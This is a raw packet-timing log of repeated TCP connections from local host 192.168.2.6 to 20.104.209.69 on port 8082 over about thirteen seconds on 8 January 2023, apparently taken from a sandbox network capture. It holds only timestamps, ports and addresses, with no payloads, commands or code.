Jan 8, 2023 16:10:28.990150928 CET	50171	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:28.990741968 CET	50171	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:29.104804993 CET	8082	50171	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:29.131582022 CET	50172	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:29.246136904 CET	8082	50172	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:29.246284962 CET	50172	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:29.246906996 CET	50172	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:29.361273050 CET	8082	50172	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:29.365147114 CET	8082	50172	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:29.365214109 CET	8082	50172	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:29.365236044 CET	8082	50172	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:29.365355015 CET	50172	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:29.365458965 CET	50172	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:29.381369114 CET	50172	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:29.495721102 CET	8082	50172	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:29.522835970 CET	50173	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:29.637130976 CET	8082	50173	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:29.637307882 CET	50173	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:29.639002085 CET	50173	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:29.753171921 CET	8082	50173	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:29.757235050 CET	8082	50173	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:29.757280111 CET	8082	50173	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:29.757337093 CET	50173	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:29.757369995 CET	50173	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:29.757627010 CET	8082	50173	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:29.757695913 CET	50173	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:29.760050058 CET	50173	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:29.874223948 CET	8082	50173	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:29.913635015 CET	50174	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:30.028160095 CET	8082	50174	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:30.028315067 CET	50174	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:30.028904915 CET	50174	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:30.143215895 CET	8082	50174	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:30.146846056 CET	8082	50174	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:30.146892071 CET	8082	50174	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:30.146914005 CET	8082	50174	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:30.147022963 CET	50174	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:30.147104025 CET	50174	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:30.148597002 CET	50174	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:30.262624025 CET	8082	50174	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:30.281550884 CET	50175	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:30.396267891 CET	8082	50175	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:30.397371054 CET	50175	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:30.400033951 CET	50175	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:30.514414072 CET	8082	50175	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:30.518522978 CET	8082	50175	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:30.518625975 CET	8082	50175	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:30.518657923 CET	8082	50175	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:30.518814087 CET	50175	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:30.518866062 CET	50175	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:30.578821898 CET	50175	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:30.693188906 CET	8082	50175	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:30.721065998 CET	50176	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:30.835341930 CET	8082	50176	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:30.837491989 CET	50176	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:30.842892885 CET	50176	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:30.957055092 CET	8082	50176	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:30.961219072 CET	8082	50176	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:30.961258888 CET	8082	50176	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:30.961302042 CET	50176	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:30.961329937 CET	8082	50176	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:30.961343050 CET	50176	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:30.963205099 CET	50176	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:30.963546038 CET	50176	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:31.077192068 CET	8082	50176	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:31.105262041 CET	50177	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:31.219566107 CET	8082	50177	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:31.221398115 CET	50177	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:31.221981049 CET	50177	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:31.335947990 CET	8082	50177	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:31.339838982 CET	8082	50177	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:31.339884996 CET	8082	50177	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:31.339910030 CET	8082	50177	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:31.340025902 CET	50177	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:31.340069056 CET	50177	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:31.341084003 CET	50177	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:31.454967976 CET	8082	50177	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:31.477662086 CET	50178	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:31.592104912 CET	8082	50178	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:31.592215061 CET	50178	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:31.592813015 CET	50178	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:31.706907988 CET	8082	50178	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:31.712203026 CET	8082	50178	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:31.712249041 CET	8082	50178	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:31.712280035 CET	8082	50178	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:31.712447882 CET	50178	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:31.712502956 CET	50178	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:31.723886967 CET	50178	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:31.838119030 CET	8082	50178	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:31.861176968 CET	50179	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:31.976010084 CET	8082	50179	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:31.976265907 CET	50179	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:31.982777119 CET	50179	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:32.097038984 CET	8082	50179	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:32.104048014 CET	8082	50179	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:32.104093075 CET	8082	50179	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:32.104218960 CET	50179	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:32.104229927 CET	8082	50179	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:32.104300022 CET	50179	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:32.104300022 CET	50179	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:32.104938984 CET	50179	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:32.219157934 CET	8082	50179	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:32.235174894 CET	50180	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:32.349739075 CET	8082	50180	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:32.349988937 CET	50180	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:32.350908995 CET	50180	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:32.464864016 CET	8082	50180	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:32.470042944 CET	8082	50180	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:32.470103979 CET	8082	50180	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:32.470122099 CET	8082	50180	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:32.470206022 CET	50180	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:32.470259905 CET	50180	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:32.471091032 CET	50180	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:32.584954977 CET	8082	50180	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:32.614792109 CET	50181	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:32.729171038 CET	8082	50181	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:32.729393959 CET	50181	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:32.734808922 CET	50181	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:32.848913908 CET	8082	50181	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:32.853147030 CET	8082	50181	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:32.853183031 CET	8082	50181	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:32.853205919 CET	8082	50181	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:32.853252888 CET	50181	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:32.853327990 CET	50181	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:32.853327990 CET	50181	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:32.873450994 CET	50181	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:32.987782955 CET	8082	50181	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:33.006364107 CET	50182	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:33.120583057 CET	8082	50182	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:33.120755911 CET	50182	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:33.121413946 CET	50182	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:33.235564947 CET	8082	50182	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:33.239841938 CET	8082	50182	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:33.239908934 CET	8082	50182	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:33.239926100 CET	50182	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:33.239934921 CET	8082	50182	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:33.239967108 CET	50182	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:33.239993095 CET	50182	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:33.240974903 CET	50182	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:33.355161905 CET	8082	50182	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:33.378840923 CET	50183	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:33.498986006 CET	8082	50183	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:33.499285936 CET	50183	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:33.499900103 CET	50183	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:33.613878965 CET	8082	50183	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:33.619813919 CET	8082	50183	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:33.619846106 CET	8082	50183	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:33.619935036 CET	50183	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:33.620481014 CET	8082	50183	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:33.620544910 CET	50183	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:33.626673937 CET	50183	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:33.740768909 CET	8082	50183	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:33.778707981 CET	50184	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:33.893275976 CET	8082	50184	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:33.893552065 CET	50184	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:33.894335985 CET	50184	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:34.008229971 CET	8082	50184	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:34.012674093 CET	8082	50184	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:34.012727022 CET	8082	50184	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:34.012877941 CET	8082	50184	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:34.012924910 CET	50184	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:34.013499975 CET	50184	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:34.028661013 CET	50184	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:34.142807007 CET	8082	50184	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:34.165502071 CET	50185	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:34.280709028 CET	8082	50185	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:34.281708956 CET	50185	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:34.282284021 CET	50185	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:34.396225929 CET	8082	50185	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:34.400418997 CET	8082	50185	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:34.400450945 CET	8082	50185	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:34.400558949 CET	50185	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:34.400594950 CET	8082	50185	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:34.400602102 CET	50185	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:34.400664091 CET	50185	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:34.401302099 CET	50185	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:34.515626907 CET	8082	50185	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:34.536330938 CET	50186	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:34.650748968 CET	8082	50186	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:34.651141882 CET	50186	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:34.652098894 CET	50186	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:34.766201019 CET	8082	50186	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:34.771217108 CET	8082	50186	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:34.771255016 CET	8082	50186	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:34.771286011 CET	8082	50186	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:34.771459103 CET	50186	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:34.776351929 CET	50186	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:34.891350985 CET	8082	50186	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:34.923212051 CET	50187	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:35.037494898 CET	8082	50187	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:35.037734985 CET	50187	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:35.044822931 CET	50187	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:35.159020901 CET	8082	50187	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:35.163454056 CET	8082	50187	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:35.163496017 CET	8082	50187	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:35.163517952 CET	8082	50187	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:35.163676023 CET	50187	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:35.163723946 CET	50187	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:35.185396910 CET	50187	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:35.299573898 CET	8082	50187	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:35.317894936 CET	50188	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:35.432233095 CET	8082	50188	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:35.432570934 CET	50188	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:35.433705091 CET	50188	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:35.547599077 CET	8082	50188	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:35.550856113 CET	8082	50188	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:35.550890923 CET	8082	50188	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:35.550915003 CET	8082	50188	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:35.551014900 CET	50188	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:35.551073074 CET	50188	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:35.551899910 CET	50188	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:35.665688038 CET	8082	50188	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:35.691926003 CET	50189	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:35.806370974 CET	8082	50189	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:35.806533098 CET	50189	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:35.807442904 CET	50189	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:35.921288013 CET	8082	50189	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:35.925268888 CET	8082	50189	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:35.925309896 CET	8082	50189	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:35.925329924 CET	8082	50189	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:35.925436020 CET	50189	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:35.925488949 CET	50189	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:35.926086903 CET	50189	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:36.040024996 CET	8082	50189	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:36.064482927 CET	50190	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:36.179095030 CET	8082	50190	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:36.179233074 CET	50190	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:36.179925919 CET	50190	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:36.293862104 CET	8082	50190	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:36.299494028 CET	8082	50190	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:36.299583912 CET	50190	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:36.299595118 CET	8082	50190	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:36.299660921 CET	50190	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:36.299911976 CET	8082	50190	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:36.300039053 CET	50190	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:36.312597990 CET	50190	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:36.426655054 CET	8082	50190	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:36.439439058 CET	50191	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:36.553920031 CET	8082	50191	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:36.554156065 CET	50191	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:36.556516886 CET	50191	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:36.670861959 CET	8082	50191	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:36.675065994 CET	8082	50191	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:36.675132036 CET	8082	50191	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:36.675153971 CET	50191	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:36.675189018 CET	8082	50191	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:36.675189972 CET	50191	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:36.675249100 CET	50191	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:36.675699949 CET	50191	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:36.789666891 CET	8082	50191	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:36.824450970 CET	50192	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:36.938842058 CET	8082	50192	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:36.939037085 CET	50192	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:36.939578056 CET	50192	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:37.053517103 CET	8082	50192	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:37.058928967 CET	8082	50192	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:37.058964968 CET	8082	50192	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:37.059065104 CET	50192	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:37.059098005 CET	8082	50192	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:37.059163094 CET	50192	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:37.059686899 CET	50192	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:37.173727036 CET	8082	50192	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:37.195183039 CET	50193	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:37.309933901 CET	8082	50193	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:37.310094118 CET	50193	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:37.357448101 CET	50193	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:37.472126007 CET	8082	50193	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:37.476260900 CET	8082	50193	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:37.476330996 CET	8082	50193	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:37.476385117 CET	8082	50193	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:37.476519108 CET	50193	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:37.476603985 CET	50193	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:37.767684937 CET	50193	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:37.882119894 CET	8082	50193	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:37.902781963 CET	50194	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:38.017828941 CET	8082	50194	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:38.018014908 CET	50194	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:38.018527985 CET	50194	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:38.132445097 CET	8082	50194	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:38.136358023 CET	8082	50194	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:38.136416912 CET	8082	50194	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:38.136467934 CET	8082	50194	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:38.136595011 CET	50194	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:38.136595011 CET	50194	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:38.137756109 CET	50194	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:38.252212048 CET	8082	50194	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:38.324160099 CET	50195	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:38.438524008 CET	8082	50195	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:38.438730955 CET	50195	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:38.987210035 CET	50195	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:39.101382971 CET	8082	50195	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:39.105643034 CET	8082	50195	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:39.105670929 CET	8082	50195	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:39.105726957 CET	50195	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:39.105761051 CET	50195	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:39.105840921 CET	8082	50195	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:39.105926991 CET	50195	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:39.112284899 CET	50195	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:39.226476908 CET	8082	50195	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:39.429760933 CET	50196	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:39.544363022 CET	8082	50196	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:39.544631958 CET	50196	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:40.221106052 CET	50196	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:40.335621119 CET	8082	50196	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:40.340030909 CET	8082	50196	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:40.340070009 CET	8082	50196	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:40.340219021 CET	8082	50196	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:40.340220928 CET	50196	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:40.340275049 CET	50196	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:40.754573107 CET	50196	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:40.869164944 CET	8082	50196	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:40.947103977 CET	50197	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:41.061769962 CET	8082	50197	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:41.061928034 CET	50197	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:41.062483072 CET	50197	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:41.176651955 CET	8082	50197	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:41.180892944 CET	8082	50197	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:41.181005001 CET	8082	50197	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:41.181057930 CET	50197	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:41.181135893 CET	50197	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:41.181140900 CET	8082	50197	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:41.181246042 CET	50197	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:41.181902885 CET	50197	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:41.297154903 CET	8082	50197	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:41.321091890 CET	50198	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:41.436588049 CET	8082	50198	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:41.436764002 CET	50198	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:41.481213093 CET	50198	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:41.595839977 CET	8082	50198	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:41.599437952 CET	8082	50198	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:41.599493027 CET	8082	50198	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:41.599529028 CET	8082	50198	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:41.599538088 CET	50198	8082	192.168.2.6	20.104.209.69
